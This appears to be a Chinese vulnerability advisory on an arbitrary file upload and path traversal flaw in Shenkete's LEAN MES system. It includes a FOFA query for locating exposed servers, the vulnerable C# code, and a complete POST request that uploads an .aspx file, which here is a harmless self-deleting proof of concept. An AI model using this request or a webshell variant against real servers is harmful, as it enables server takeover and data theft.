深科特 LEAN MES系统 CreateMenus.aspx 任意文件上传漏洞


漏洞简介

LEAN MES系统是由深圳市深科特信息技术有限公司开发的一款应用系统,主要用于生产调度、产品跟踪、质量控制等车间管理功能。LEAN MES精益制造执行系统通过强调制造过程的信息化和透明化,帮助企业由粗放式向精益化管理模式升级。该系统/Help/CreateMenus.aspx存在任意文件上传漏洞。攻击者可通过构造恶意请求,绕过文件类型或内容校验,上传恶意文件(如WebShell),实现任意命令执行,获取服务器控制权限,导致敏感数据泄露或系统被进一步攻击。

影响版本

fofa语法

(title="LEAN MES - 用户登录" && body="LEAN MES") || body="Content/js/skt.utility.checkmobile.js" || body="../MobileApp/VerifyError.aspx" || body="Content/login/login2/multiplant_top.png"

漏洞分析

根据 /Help/CreateMenus.aspx 引用的代码逻辑,在bin目录找到SKT.LeanMES.Web.dll文件,在其中找到Help.CreateMenus的实现逻辑

// 基础路径
string menuFileName = this.Server.MapPath("~/UploadFiles/menuxml");

// ...

if (this.flupload.HasFile)
{
    // 未对 this.flupload.FileName 进行任何安全检查,直接进行路径拼接
    menuFileName = $"{menuFileName}\\{this.flupload.FileName}";

    // 将文件保存到可被遍历的路径
    this.flupload.SaveAs(menuFileName);
}
  1. 程序首先设定了一个基础上传目录:string menuFileName = this.Server.MapPath("~/UploadFiles/menuxml");。该路径会被解析为服务器上的一个绝对物理路径,例如 C:\inetpub\wwwroot\YourApp\UploadFiles\menuxml。
  2. 随后,程序将用户可控的 this.flupload.FileName 直接拼接到该路径后面:menuFileName = $"{menuFileName}\\{this.flupload.FileName}";。
  3. 这里没有任何对 this.flupload.FileName 的清洗或验证。如果攻击者上传的文件名为 ../../shell.aspx,那么 menuFileName 变量的真实语义结果将是 C:\inetpub\wwwroot\YourApp\UploadFiles\menuxml\..\..\shell.aspx。文件系统在处理这个路径时,会解析 .. 字符,最终将路径指向 C:\inetpub\wwwroot\YourApp\shell.aspx,即网站的根目录,从而造成任意文件上传+目录遍历漏洞。

漏洞复现

但是只有前端验证,后端并无验证

POST /Help/CreateMenus.aspx HTTP/1.1
Host: lean.mes.mrxn.net
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
Cookie: ASP.NET_SessionId=xxxxx

------WebKitFormBoundary
Content-Disposition: form-data; name="__VIEWSTATE"

/xxxx
------WebKitFormBoundary
Content-Disposition: form-data; name="__VIEWSTATEGENERATOR"

xxxx
------WebKitFormBoundary
Content-Disposition: form-data; name="__EVENTVALIDATION"

/wEdAAI3YUlGI4u0XQTYZawtaB255vhDofrSSRcWtmHPtJVt4MtuAik/GmXP2jtRa5mJthYFy9BS5waJWibim7Ju69/+
------WebKitFormBoundary
Content-Disposition: form-data; name="flupload"; filename="1.aspx"
Content-Type: text/xml

<%@Page Language="C#"%><%Response.Write(Guid.NewGuid().ToString("N"));System.IO.File.Delete(Server.MapPath(Request.Url.AbsolutePath));%>
------WebKitFormBoundary
Content-Disposition: form-data; name="btnUpload"

上传XML文件
------WebKitFormBoundary--

访问上传文件/UploadFiles/menuxml/1.aspx

成功执行代码,打印UUID并删除自身。

同时会报错,在响应里回显网站物理路径。


手机扫码阅读

深科特 LEAN MES系统 AutoComplete.ashx SQL注入漏洞

深科特 LEAN MES系统 UploadHander.ashx 文件上传漏洞

评 论